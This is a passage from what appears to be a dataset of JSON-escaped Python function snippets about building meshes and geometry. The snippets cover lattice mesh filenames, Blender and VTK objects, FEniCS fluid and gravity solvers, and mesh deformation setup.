0:\\n alphstr += '_etaalph' + sf.float2pstr(lp['eta_alph'], ndigits=2)\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\\n print '\\\\n\\\\n', delta_phi_str\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n delta_phi_str + alphstr + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'spindle' in LatticeTop:\\n if LatticeTop=='spindle':\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = ''\\n\\n if np.abs(lp['aratio'] - 1.0) > 1e-9:\\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\\n else:\\n aratiostr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n alphstr = '_alph' + sf.float2pstr(lp['alph'], ndigits=4)\\n\\n if 'eta_alph' in lp:\\n if lp['eta_alph'] > 0:\\n alphstr += '_etaalph' + sf.float2pstr(lp['eta_alph'], ndigits=2)\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\\n print '\\\\n\\\\n', delta_phi_str\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n delta_phi_str + alphstr + aratiostr + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n else:\\n raise RuntimeError('only spindley lattice coded in le is spindle itself')\\n print 'searching for ', ffind\\n elif LatticeTop == 'stackedrhombic':\\n if lp['periodicBC']:\\n if lp['periodic_strip']:\\n periodicstr = '_periodicstrip'\\n else:\\n periodicstr = '_periodicBC'\\n else:\\n periodicstr = ''\\n\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n\\n if theta_lattice == 0. or theta_lattice == '':\\n thetastr = ''\\n else:\\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\\n\\n stacknum = '_stack' + str(lp['intparam'])\\n\\n if 'phi_lattice' not in lp:\\n lp['phi_lattice'] = sf.float2pstr(lp['phi'] / np.pi, ndigits=3)\\n\\n phi_str = '_phi' + lp['phi_lattice'].replace('.', 'p') + 'pi' + etastr + thetastr\\n print '\\\\n\\\\n', phi_str\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\\\\n stacknum + phi_str + \\\\\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n elif 'junction' in LatticeTop:\\n # hexjunction or kagjunction\\n # python ./build/make_lattice.py -LT junctiontriad\\n if eta == 0. or eta == '':\\n etastr = ''\\n else:\\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n if LatticeTop == 'hexjunctiontriad' or 'hexjunction2triads':\\n alphstr = '_alph' + sf.float2pstr(lp['alph'], ndigits=6)\\n if lp['periodicBC']:\\n periodicstr = '_periodic'\\n else:\\n periodicstr = ''\\n else:\\n alphstr = '_alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam'])\\n periodicstr = ''\\n\\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr\\n print '\\\\n\\\\n', delta_phi_str\\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + periodicstr + delta_phi_str + \\\\\\n alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n print 'searching for ', ffind\\n\\n # else:\\n # theta_eta_str = '_theta' + '{0:.3f}'.format(theta_lattice / np.pi).replace('.','p') +\\\\\\n # 'pi' + '_eta{0:.3f}'.format(eta).replace('.', 'p')\\n # ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + theta_eta_str +\\n # '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\\n # print 'searching for ', ffind\\n xyffind = ffind\\n meshfn = ffind[0:-7]\\n print 'le.build_meshfn(): returning meshfn = ', meshfn\\n return meshfn, xyffind\",\n \"def validate_mesh(self):\\n pass\",\n \"def __init__(self, front_vertex, back_vertex):\\n self.lower_vertex = np.array(front_vertex)\\n self.upper_vertex = np.array(back_vertex)\\n greater_or_equal = (\\n np.greater(self.upper_vertex, self.lower_vertex).all()\\n or np.equal(self.upper_vertex, self.lower_vertex).all()\\n )\\n assert greater_or_equal, \\\"front vertex {} must be greater than back_vertex {}\\\".format(\\n front_vertex, back_vertex\\n )\\n self.padding = 1.0\\n self.padding_multiplier = 2.0\\n self.offset = 0.001\\n self.blender_object = None\\n self.obj_name = \\\"BoxWorld\\\"\\n self.mesh_name = \\\"boxMesh\\\"\\n # self.mesh_grower = self.setup_mesh_grower()\",\n \"def create_pcb_from_3dlayout(\\n self,\\n component_name,\\n project_name,\\n design_name,\\n resolution=2,\\n extenttype=\\\"Bounding Box\\\",\\n outlinepolygon=\\\"\\\",\\n close_linked_project_after_import=True,\\n custom_x_resolution=None,\\n custom_y_resolution=None,\\n ):\\n if project_name == self.project_name:\\n project_name = \\\"This Project*\\\"\\n link_data = [project_name, design_name, \\\"<--EDB Layout Data-->\\\", False, False]\\n status = self.create_ipk_3dcomponent_pcb(\\n component_name,\\n link_data,\\n \\\"\\\",\\n resolution,\\n extenttype=extenttype,\\n outlinepolygon=outlinepolygon,\\n custom_x_resolution=custom_x_resolution,\\n custom_y_resolution=custom_y_resolution,\\n )\\n\\n if close_linked_project_after_import and \\\".aedt\\\" in project_name:\\n prjname = os.path.splitext(os.path.basename(project_name))[0]\\n self.close_project(prjname, saveproject=False)\\n self.logger.glb.info(\\\"PCB component correctly created in Icepak.\\\")\\n return status\",\n \"def patterning(mesh, operator):\\n\\n\\n operators = {\\n 'conway_dual': conway_dual,\\n 'conway_join': conway_join,\\n 'conway_ambo': conway_ambo,\\n 'conway_kis': conway_kis,\\n 'conway_needle': conway_needle,\\n 'conway_zip': conway_zip,\\n 'conway_truncate': conway_truncate,\\n 'conway_ortho': conway_ortho,\\n 'conway_expand': conway_expand,\\n 'conway_gyro': conway_gyro,\\n 'conway_snub': conway_snub,\\n 'conway_meta': conway_meta,\\n 'conway_bevel': conway_bevel\\n }\\n\\n try:\\n operators[operator](mesh)\\n return mesh\\n except:\\n return mesh\",\n \"def create_sat_body(self):\\n\\n # Dimensions of body\\n SAT_SIZE = self.ANI_SCALE*self.SAT_SCALE*np.asarray(self.SAT_PROPS[\\\"Size\\\"])/2\\n bx = SAT_SIZE[0]\\n by = SAT_SIZE[1]\\n bz = SAT_SIZE[2]\\n\\n # Create vertices in body frame\\n ind = 0\\n V = []\\n for x in [-1, 1]:\\n for y in [-1, 1]:\\n for z in [-1, 1]:\\n V.append((bx*x, by*y, bz*z))\\n \\n # Create faces\\n F = [\\n (0, 1, 3, 2),\\n (4, 5, 7, 6),\\n (0, 1, 5, 4),\\n (2, 3, 7, 6),\\n (0, 2, 6, 4),\\n (1, 3, 7, 5)\\n ]\\n\\n # Create building blocks of polydata\\n sat = vtk.vtkPolyData()\\n points = vtk.vtkPoints()\\n polys = vtk.vtkCellArray()\\n scalars = vtk.vtkFloatArray()\\n\\n # Load the point, cell and data attributes\\n for i in range(len(V)):\\n points.InsertPoint(i, V[i])\\n for i in range(len(F)):\\n polys.InsertNextCell(self.mkVtkIdList(F[i]))\\n for i in range(len(V)):\\n scalars.InsertTuple1(i, i)\\n \\n # Assign the pieces to the vtkPolyData.\\n sat.SetPoints(points)\\n del points\\n sat.SetPolys(polys)\\n del polys\\n sat.GetPointData().SetScalars(scalars)\\n del scalars\\n\\n # Mapper\\n mapper = vtk.vtkPolyDataMapper()\\n mapper.SetInputData(sat)\\n mapper.ScalarVisibilityOff()\\n\\n # Actor\\n actor = vtk.vtkActor()\\n actor.SetMapper(mapper)\\n actor.GetProperty().SetColor(0.5, 0.5, 0.5)\\n actor.GetProperty().SetAmbient(0.5)\\n actor.GetProperty().SetSpecular(1.0)\\n actor.GetProperty().SetSpecularPower(5.0)\\n actor.GetProperty().SetDiffuse(0.2)\\n\\n # Move to sat position\\n actor.SetPosition(0, 0, -self.SAT_PROPS[\\\"Alt\\\"])\\n\\n return actor\",\n \"def build(tile):\\n rtn = bmesh.new()\\n if tile.terrain_type() in Terrain.floor_terrains:\\n rtn = BmeshFactory.build_floor(tile)\\n elif tile.terrain_type() in Terrain.empty_terrains:\\n BmeshFactory.add_floor_corners(rtn, tile)\\n elif tile.terrain_type() == TerrainType.WALL:\\n BmeshFactory.build_wall(tile, rtn)\\n elif tile.terrain_type() == TerrainType.FORTIFICATION:\\n rtn = BmeshFactory.build_fortification(tile)\\n elif tile.terrain_type() == TerrainType.STAIR_DOWN or tile.terrain_type() == TerrainType.STAIR_UPDOWN:\\n rtn = BmeshFactory.build_stair(tile)\\n elif tile.terrain_type() == TerrainType.RAMP:\\n rtn = BmeshFactory.build_ramp(tile)\\n elif tile.terrain_type() == TerrainType.BROOK_BED:\\n rtn = BmeshFactory.build_brook(tile)\\n\\n BmeshFactory.build_ceiling(rtn, tile)\\n\\n bmesh.ops.remove_doubles(rtn, verts=rtn.verts, dist=0.0001)\\n bmesh.ops.dissolve_limit(rtn, angle_limit=math.pi/90, use_dissolve_boundaries=False,\\n verts=rtn.verts, edges=rtn.edges)\\n return rtn\",\n \"def b_create_base_geometry(b_name):\\n b_obj = b_create_cube(b_name)\\n return b_obj\",\n \"def box_mesh_with_hole(point1=Point(0,0,0), point2=Point(2,1,1), cyl_cent1 = Point(1, -10, 0.5), \\n cyl_cent2= Point(1, 10, 0.5), cyl_rad=0.25, numpts=15):\\n Router = mshr.Box(point1, point2)\\n Rinner = mshr.Cylinder(cyl_cent1, cyl_cent2, cyl_rad, cyl_rad)\\n domain = Router - Rinner\\n\\n mesh = mshr.generate_mesh(domain, numpts)\\n print_mesh_stats(mesh)\\n \\n return mesh\",\n \"def comp_add_wireframe_freestyle(self):\\n scene = self.set_as_active()\\n scene.use_nodes = True\\n tree = scene.node_tree\\n tree.nodes.clear()\\n\\n # creating the nodes\\n node_alphaover = tree.nodes.new('CompositorNodeAlphaOver')\\n node_alphaover.location = -25, 50\\n\\n node_rlwire = tree.nodes.new('CompositorNodeRLayers')\\n node_rlwire.location = -400, 250\\n node_rlwire.scene = scene\\n node_rlwire.layer = w_var.rlname\\n\\n node_rlclay = tree.nodes.new('CompositorNodeRLayers')\\n node_rlclay.location = -400, -75\\n node_rlclay.scene = scene\\n node_rlclay.layer = w_var.rlname_other\\n\\n node_comp = tree.nodes.new('CompositorNodeComposite')\\n node_comp.location = 400, 65\\n\\n node_viewer = tree.nodes.new('CompositorNodeViewer')\\n node_viewer.location = 400, -125\\n\\n # connecting the nodes\\n links = tree.links\\n links.new(node_rlwire.outputs[0], node_alphaover.inputs[1])\\n links.new(node_rlclay.outputs[0], node_alphaover.inputs[2])\\n\\n if w_var.cb_ao:\\n node_mixcolor_wire = tree.nodes.new('CompositorNodeMixRGB')\\n node_mixcolor_wire.location = -125, 150\\n node_mixcolor_wire.blend_type = 'MULTIPLY'\\n node_mixcolor_wire.inputs[0].default_value = 0.730\\n\\n node_mixcolor_clay = tree.nodes.new('CompositorNodeMixRGB')\\n node_mixcolor_clay.location = -125, -100\\n node_mixcolor_clay.blend_type = 'MULTIPLY'\\n node_mixcolor_clay.inputs[0].default_value = 0.730\\n\\n node_alphaover.location = 125, 75\\n\\n links.new(node_rlwire.outputs[0], node_mixcolor_wire.inputs[1])\\n links.new(node_rlwire.outputs[10], node_mixcolor_wire.inputs[2])\\n\\n links.new(node_rlclay.outputs[0], node_mixcolor_clay.inputs[1])\\n links.new(node_rlclay.outputs[10], node_mixcolor_clay.inputs[2])\\n\\n links.new(node_mixcolor_wire.outputs[0], node_alphaover.inputs[1])\\n links.new(node_mixcolor_clay.outputs[0], node_alphaover.inputs[2])\\n\\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\\n\\n else:\\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\\n\\n for node in tree.nodes:\\n node.select = False\",\n \"def __init__(self, shape_num):\\n self.shape_num = shape_num\\n if shape_num == 1:\\n self.width = 4\\n self.height = 4\\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\\n self.grid[0][2] = 1\\n self.grid[1][2] = 1\\n self.grid[2][2] = 1\\n self.grid[3][2] = 1\\n self.color = Color.SilverPink\\n elif shape_num == 2:\\n self.width = 3\\n self.height = 3\\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\\n self.grid[0][1] = 1\\n self.grid[0][2] = 1\\n self.grid[1][2] = 1\\n self.grid[2][2] = 1\\n self.color = Color.TuftsBlue\\n elif shape_num == 3:\\n self.width = 3\\n self.height = 3\\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\\n self.grid[2][1] = 1\\n self.grid[0][2] = 1\\n self.grid[1][2] = 1\\n self.grid[2][2] = 1\\n self.color = Color.ChromeYellow\\n elif shape_num == 4:\\n self.width = 2\\n self.height = 2\\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\\n self.grid[0][0] = 1\\n self.grid[0][1] = 1\\n self.grid[1][0] = 1\\n self.grid[1][1] = 1\\n self.color = Color.Independence\\n elif shape_num == 5:\\n self.width = 3\\n self.height = 3\\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\\n self.grid[1][0] = 1\\n self.grid[2][0] = 1\\n self.grid[0][1] = 1\\n self.grid[1][1] = 1\\n self.color = Color.ForestGreen\\n elif shape_num == 6:\\n self.width = 3\\n self.height = 3\\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\\n self.grid[1][1] = 1\\n self.grid[0][2] = 1\\n self.grid[1][2] = 1\\n self.grid[2][2] = 1\\n self.color = Color.Byzantine\\n elif shape_num == 7:\\n self.width = 3\\n self.height = 3\\n self.grid = [[0 for x in range(self.height)] for y in range(self.width)]\\n self.grid[0][0] = 1\\n self.grid[1][0] = 1\\n self.grid[1][1] = 1\\n self.grid[2][1] = 1\\n self.color = Color.Coquelicot\\n self.top_space = self.get_top_space()\\n self.bottom_space = self.get_bottom_space()\\n self.x = int((12 - self.width) / 2)\\n self.y = 1 - self.top_space\\n self.last_drop_time = perf_counter()\",\n \"def __init__(self,magneticFieldx,magneticFieldy,nParts,length,gamma,beta, name = \\\"GeneralDipoleNoStripSeperateField no name\\\"):\\n\\t\\tBaseTEAPOT.__init__(self, name)\\n\\t\\tself.setType(\\\"parent stripper dipole no strip teapot\\\")\\n\\t\\t\\n\\t\\tself.magneticFieldx=magneticFieldx\\n\\t\\tself.magneticFieldy=magneticFieldy\\n\\t\\tself.nParts=nParts\\n\\t\\tself.length=length\\n\\t\\tself.setLength(self.length)\\n\\t\\tself.gamma=gamma\\n\\t\\tself.beta=beta\\n\\t\\t\\t\\n\\t\\tself.functionXPRigidity=None\\n\\t\\tself.functionXRigidity=None\\n\\t\\t\\n\\t\\tself.functionYPRigidity=None\\n\\t\\tself.functionYRigidity=None\\n\\t\\t\\n\\t\\tself.strippingTracking=None\\n\\t\\t\\n\\t\\tself.chicaneFieldx=0.\\n\\t\\tself.chicaneFieldy=0.\\t\\n\\t\\t\\n\\t\\tself.computeFunctions()\",\n \"def build(self, name=None):\\n wire_body = brep().createWireFromCurves(self._segments, allowSelfIntersections=False)[0]\\n return BRepComponent(brep().createFaceFromPlanarWires([wire_body]), name=name)\",\n \"def __init__(self, name, a=115, b=111, c=19, mu=10**7, omegavec=[0, 0, 1],\\r\\n rho=0.5, szscale=2, n=0):\\r\\n assert(len(omegavec) == 3)\\r\\n assert(szscale >= 1)\\r\\n assert(n >= 0)\\r\\n\\r\\n # set the name\\r\\n self.name = name\\r\\n\\r\\n # set the rotation axis\\r\\n self.omegavec = omegavec\\r\\n\\r\\n # set the principal axes\\r\\n self.a = a\\r\\n self.b = b\\r\\n self.c = c\\r\\n\\r\\n # set the size scale\\r\\n self.szscale = szscale\\r\\n\\r\\n # convert the axes from meters to cm\\r\\n a *= 100\\r\\n b *= 100\\r\\n c *= 100\\r\\n\\r\\n # set the maximum allowed size\\r\\n self.sizecut = szscale*np.max([a, b, c])/2\\r\\n\\r\\n # set viscosity, create a Constant to avoid slowdowns\\r\\n self.mu = Constant(mu)\\r\\n\\r\\n # initialize the time, and the number of cycles\\r\\n self.t = 0\\r\\n self.ind = 0\\r\\n\\r\\n # set dt to 1 temporarily, for use in the solvers\\r\\n self.dt = Constant(1)\\r\\n\\r\\n # set density, create a Constant to avoid slowdowns\\r\\n self.rho = Constant(rho)\\r\\n\\r\\n # set the inital time, for logging\\r\\n self.start_time = time.time()\\r\\n\\r\\n # read in mesh, with n refinements\\r\\n with pkg_resources.path('SAMUS.meshes', '3ball%s.xml' % (n)) as p:\\r\\n mesh_path = p\\r\\n self.mesh = Mesh(str(mesh_path))\\r\\n\\r\\n # rescale the mesh to the input ellipsoids\\r\\n self.mesh.coordinates()[:, 0] *= a/2\\r\\n self.mesh.coordinates()[:, 1] *= b/2\\r\\n self.mesh.coordinates()[:, 2] *= c/2\\r\\n\\r\\n # use Elements to make a mixed function space\\r\\n V = VectorElement(\\\"CG\\\", self.mesh.ufl_cell(), 2)\\r\\n Q = FiniteElement(\\\"CG\\\", self.mesh.ufl_cell(), 1)\\r\\n self.Z = FunctionSpace(self.mesh, V*Q)\\r\\n\\r\\n # create actual function spaces which compose the mixed\\r\\n self.V = VectorFunctionSpace(self.mesh, \\\"CG\\\", 2)\\r\\n self.Q = FunctionSpace(self.mesh, \\\"CG\\\", 1)\\r\\n\\r\\n # create solution functions from the mixed space\\r\\n self.up = Function(self.Z) # solution function\\r\\n self.u_p_ = Function(self.Z) # function for previous solutions\\r\\n\\r\\n # get trial and test functions from the mixed space\\r\\n dup = TrialFunction(self.Z)\\r\\n v, q = TestFunctions(self.Z)\\r\\n\\r\\n # create the function of the rotation vector\\r\\n self.omega = interpolate(Constant(tuple(omegavec)), self.V)\\r\\n\\r\\n # split the solution functions\\r\\n self.u, self.p = split(self.up)\\r\\n u_, p_ = split(self.u_p_)\\r\\n\\r\\n # set solution functions to 0\\r\\n self.up.assign(Constant((0, 0, 0, 0)))\\r\\n self.u_p_.assign(Constant((0, 0, 0, 0)))\\r\\n\\r\\n # create the functions for storing the forces\\r\\n self.ftides = Function(self.V) # tides\\r\\n self.gravity = Function(self.V) # gravity\\r\\n self.centrifugal = Function(self.V) # centrifugal\\r\\n self.coriolis = Function(self.V) # coriolis\\r\\n self.forcing = Function(self.V) # total forces\\r\\n\\r\\n # name the functions for storage\\r\\n self.ftides.rename(\\\"Tidal Force\\\", \\\"Tidal Force\\\")\\r\\n self.gravity.rename(\\\"Self-Gravity\\\", \\\"Gravitational Force\\\")\\r\\n self.centrifugal.rename(\\\"Centrifugal\\\", \\\"Centrifugal Force\\\")\\r\\n self.coriolis.rename(\\\"Coriolis\\\", \\\"Coriolis Force\\\")\\r\\n self.forcing.rename(\\\"Forcing\\\", \\\"Total force on the object\\\")\\r\\n\\r\\n # create a constant to ensure solution stability\\r\\n A = Constant(1e4/max(mu, 1e4))\\r\\n\\r\\n # create the solution for the Navier-Stokes equations\\r\\n F = (\\r\\n # acceleration term\\r\\n A*self.rho*inner(((self.u-u_)/(self.dt)), v) * dx +\\r\\n\\r\\n # viscosity term\\r\\n A*self.mu*inner(grad(self.u), grad(v)) * dx +\\r\\n\\r\\n # advection term\\r\\n A*self.rho*inner(dot(self.u, nabla_grad(self.u)), v) * dx -\\r\\n\\r\\n # pressure term\\r\\n A*self.p*div(v) * dx +\\r\\n\\r\\n # mass continuity equation\\r\\n q*div(self.u) * dx -\\r\\n\\r\\n # force term\\r\\n A*inner(self.forcing, v) * dx)\\r\\n\\r\\n # find the derivative, for speed\\r\\n J = derivative(F, self.up, dup)\\r\\n\\r\\n # set up the Navier-Stokes solver\\r\\n problem = NonlinearVariationalProblem(F, self.up, J=J)\\r\\n self.solver = NonlinearVariationalSolver(problem)\\r\\n self.solver.parameters['newton_solver']['relaxation_parameter'] = 1.\\r\\n\\r\\n # split solution functions for access (weird FEniCS quirk)\\r\\n self.u, self.p = self.up.split()\\r\\n u_, p_ = self.u_p_.split()\\r\\n\\r\\n # name the solution functions\\r\\n self.u.rename(\\\"Velocity\\\", \\\"Velocity\\\")\\r\\n self.p.rename(\\\"Pressure\\\", \\\"Pressure\\\")\\r\\n\\r\\n # COMPUTE FUNCTIONS FOR GRAVITY SOLUTIONS\\r\\n self.G = Constant(6.674e-8) # sets gravitational constant, in cgs\\r\\n\\r\\n # get solution, trial, and test functions\\r\\n self.gravgs = Function(self.Z)\\r\\n dgs = TrialFunction(self.Z)\\r\\n gravh, gravc = TestFunctions(self.Z)\\r\\n gravg, gravs = split(self.gravgs)\\r\\n\\r\\n # set a scale to ensure the stability of the solution. this is undone\\r\\n # in the solution, but for unknown reasons O(10^-8) is too large for\\r\\n # the solver to maintain stability\\r\\n self.gravscale = 1e-3\\r\\n\\r\\n # compute the scaling constant for the Gaussian gravity form, which is\\r\\n # rescaled by self.gravscale. A Constant, for speed\\r\\n gravA = Constant(4*np.pi*float(self.G)*float(self.rho)*self.gravscale)\\r\\n\\r\\n # creates the equation set for Gaussian gravity\\r\\n gravF = (\\r\\n # this equation is 0=0, used to mix vector and scalar solutions\\r\\n gravs*div(gravh) * dx + inner(gravg, gravh) * dx +\\r\\n # this equation is the Gaussian form, div(g)=-4 pi G rho\\r\\n gravc*div(gravg) * dx + gravA*gravc * dx)\\r\\n\\r\\n # find the derivative, for speed\\r\\n gravJ = derivative(gravF, self.gravgs, dgs)\\r\\n\\r\\n # set up the gravitational solver\\r\\n gravproblem = NonlinearVariationalProblem(gravF, self.gravgs, J=gravJ)\\r\\n self.gravsolver = NonlinearVariationalSolver(gravproblem)\\r\\n self.gravsolver.parameters['newton_solver'\\r\\n ]['relaxation_parameter'] = 1.\",\n \"def ZoneBuilder():\\n\\n # Part 1: Zone Dimensions\\n matrix, xaxis, yaxis, zaxis = dimensions()\\n\\n # Part 2: Assigning Room Existance.\\n matrix = existance(matrix, xaxis, yaxis, zaxis)\\n \\n # Part 3: Creating room walls.\\n \\n # First, generate walls adjacent to void spaces.\\n matrix = enclose_rooms(matrix, xaxis, yaxis, zaxis)\\n \\n matrix = select_walls(matrix, xaxis, yaxis, zaxis)\",\n \"def create_jointsmap(uv_coord, size):\\r\\n\\r\\n\\t# define connections and colors of the bones\\r\\n\\t# print(coords_hw[-1]) # this is center ( the 22nd point)\\r\\n\\tcanvas = np.zeros((size, size, 3))\\r\\n\\tbones = [\\r\\n\\t\\t((1, 2), THUMB_COLOR1),\\r\\n\\t\\t((2, 3), THUMB_COLOR2),\\r\\n\\t\\t((3, 4), THUMB_COLOR3),\\r\\n\\r\\n\\t\\t((5, 6), INDEX_COLOR1),\\r\\n\\t\\t((6, 7), INDEX_COLOR2),\\r\\n\\t\\t((7, 8), INDEX_COLOR3),\\r\\n\\r\\n\\t\\t((9, 10), MIDDLE_COLOR1),\\r\\n\\t\\t((10, 11), MIDDLE_COLOR2),\\r\\n\\t\\t((11, 12), MIDDLE_COLOR3),\\r\\n\\r\\n\\t\\t((13, 14), RING_COLOR1),\\r\\n\\t\\t((14, 15), RING_COLOR2),\\r\\n\\t\\t((15, 16), RING_COLOR3),\\r\\n\\r\\n\\t\\t((17, 18), PINKY_COLOR1),\\r\\n\\t\\t((18, 19), PINKY_COLOR2),\\r\\n\\t\\t((19, 20), PINKY_COLOR3)]\\r\\n\\tpalm = []\\r\\n\\tfor connection, _ in [((0, 1), []),\\r\\n\\t\\t\\t\\t\\t\\t ((1, 5), []),\\r\\n\\t\\t\\t\\t\\t\\t ((5, 9), []),\\r\\n\\t\\t\\t\\t\\t\\t ((9, 13), []),\\r\\n\\t\\t\\t\\t\\t\\t ((13, 17), []),\\r\\n\\t\\t\\t\\t\\t\\t ((17, 0), []), ]:\\r\\n\\t\\tcoord1 = uv_coord[connection[0]]\\r\\n\\t\\tpalm.append([int(coord1[0]), int(coord1[1])])\\r\\n\\t# palm.append([int((coord1[0]-.5)* W_scale+ W_offset ), int(-(coord1[1]- .5)* H_scale+ H_offset)])\\r\\n\\t# print(palm)\\r\\n\\tcv2.fillConvexPoly(canvas, np.array([palm], dtype=np.int32), PALM_COLOR)\\r\\n\\tfor connection, color in bones:\\r\\n\\t\\tcoord1 = uv_coord[connection[0]]\\r\\n\\t\\tcoord2 = uv_coord[connection[1]]\\r\\n\\t\\tcoords = np.stack([coord1, coord2])\\r\\n\\t\\t# 0.5, 0.5 is the center\\r\\n\\t\\tx = coords[:, 0]\\r\\n\\t\\ty = coords[:, 1]\\r\\n\\t\\tmX = x.mean()\\r\\n\\t\\tmY = y.mean()\\r\\n\\t\\tlength = ((x[0] - x[1]) ** 2 + (y[0] - y[1]) ** 2) ** 0.5\\r\\n\\t\\tangle = np.math.degrees(np.math.atan2(y[0] - y[1], x[0] - x[1]))\\r\\n\\t\\tpolygon = cv2.ellipse2Poly((int(mX), int(mY)), (int(length / 2), 16), int(angle), 0, 360, 1)\\r\\n\\t\\tcv2.fillConvexPoly(canvas, polygon, color)\\r\\n\\treturn canvas\",\n \"def CreateSurface2DMeshfrom3DMesh(self):\\n\\n self.__do_memebers_exist__()\\n\\n p = self.InferPolynomialDegree()\\n mm = Mesh()\\n if self.element_type == \\\"hex\\\":\\n mm.element_type = \\\"quad\\\"\\n elif self.element_type == \\\"tet\\\":\\n mm.element_type = \\\"tri\\\"\\n else:\\n raise ValueError(\\\"Cannot make a 2D mesh from the 3D mesh of type {}\\\".format(self.element_type))\\n\\n unique_faces, inv_faces = np.unique(self.faces,return_inverse=True)\\n mm.points = self.points[unique_faces,:]\\n mm.nnode = mm.points.shape[0]\\n aranger = np.arange(mm.nnode)\\n mm.elements = aranger[inv_faces].reshape(self.faces.shape)\\n mm.nelem = mm.elements.shape[0]\\n mm.GetBoundaryEdges()\\n\\n return mm\",\n \"def __init__(self, \\n mesh,\\n target_vertices_transforms,\\n sigma=0.5,\\n voxel_centers_nn=None,\\n surface_samples_nn=None,\\n voxel_centers_p2p=None,\\n surface_samples_p2p=None,\\n unlabeled_points=None,\\n sharp_edges=None,\\n kernel='gauss_kernel',\\n mapping='nn',\\n cuda=None,\\n device_mode='cpu',\\n deg_thr=1e-3,\\n ampl_factor=1,\\n verbose=1):\\n self.cuda = cuda\\n self.device_mode = device_mode\\n \\n if self.device_mode == 'gpu':\\n self.device = [self.cuda[0], self.cuda[0], self.cuda[0], self.cuda[0]] if len(self.cuda) == 1 else \\\\\\n [self.cuda[0], self.cuda[1], self.cuda[1], self.cuda[1]]\\n if len(self.cuda) == 4:\\n self.device = [self.cuda[0], self.cuda[1], self.cuda[2], self.cuda[3]]\\n else:\\n self.device = ['cpu', 'cpu', 'cpu', 'cpu']\\n \\n self.mesh = mesh\\n self.alpha_0 = 1.0\\n self.alpha_reg = 1.0\\n self.alpha_data = 1.0\\n self.verbose = verbose\\n self.deg_thr = deg_thr\\n self.ampl_factor = ampl_factor\\n \\n if verbose == 1:\\n print('initializing parts descriptions...')\\n self.num_total_vertices = 0\\n self.target_vertices = []\\n # list of parameters to optimize\\n self.segmentation_soft_indicators = []\\n self.voxel_centers_nn = voxel_centers_nn\\n self.voxel_centers_p2p = voxel_centers_p2p\\n self.kernel = kernel\\n self.mapping = mapping\\n self.surface_samples_nn = surface_samples_nn\\n self.surface_samples_p2p = surface_samples_p2p\\n self.unlabeled_points = unlabeled_points\\n self.precond = None\\n self.sharp_edges = sharp_edges\\n self.vertices_approximation = None\\n\\n self.num_total_vertices += len(mesh.vertices)\\n\\n self.mesh_unique_edges = np.array(mesh.edges_unique)\\n self.mesh_unique_faces, _ = np.unique(np.sort(mesh.faces, axis=1), axis=0, return_index=True)\\n\\n self.torch_vertices = torch.DoubleTensor(mesh.vertices)\\n self.torch_unique_edges = torch.IntTensor(self.mesh_unique_edges)\\n self.torch_unique_faces = torch.IntTensor(self.mesh_unique_faces)\\n self.target_vertices_transforms = target_vertices_transforms.double()\\n self.torch_vertices_4d = torch.DoubleTensor(np.hstack([mesh.vertices, np.ones(len(mesh.vertices))[:, None]]))\\n\\n torch_tmp_vertices = torch.zeros_like(self.torch_vertices_4d).double()\\n for j, transform in enumerate(self.target_vertices_transforms):\\n torch_tmp_vertices[j] = torch.mv(transform, self.torch_vertices_4d[j]).double()\\n self.target_vertices = torch_tmp_vertices\\n\\n if not mesh.is_watertight:\\n raise ValueError('Mesh should be watertight')\\n\\n if verbose == 1:\\n print('computing bitriangles maps...')\\n self.bitriangles_map = torch.IntTensor(compute_bitriangles(self.mesh_unique_faces, self.mesh_unique_edges))\\n\\n if verbose == 1:\\n print('computing faces-to-edges maps...')\\n # list<np.array>[n_parts, (n_faces, 3)]\\n self.faces_to_edges_map = np.unique(np.sort(mesh.faces_unique_edges, axis=1), axis=0)\\n \\n if verbose == 1:\\n print('computing adjacent edges for each face...')\\n # 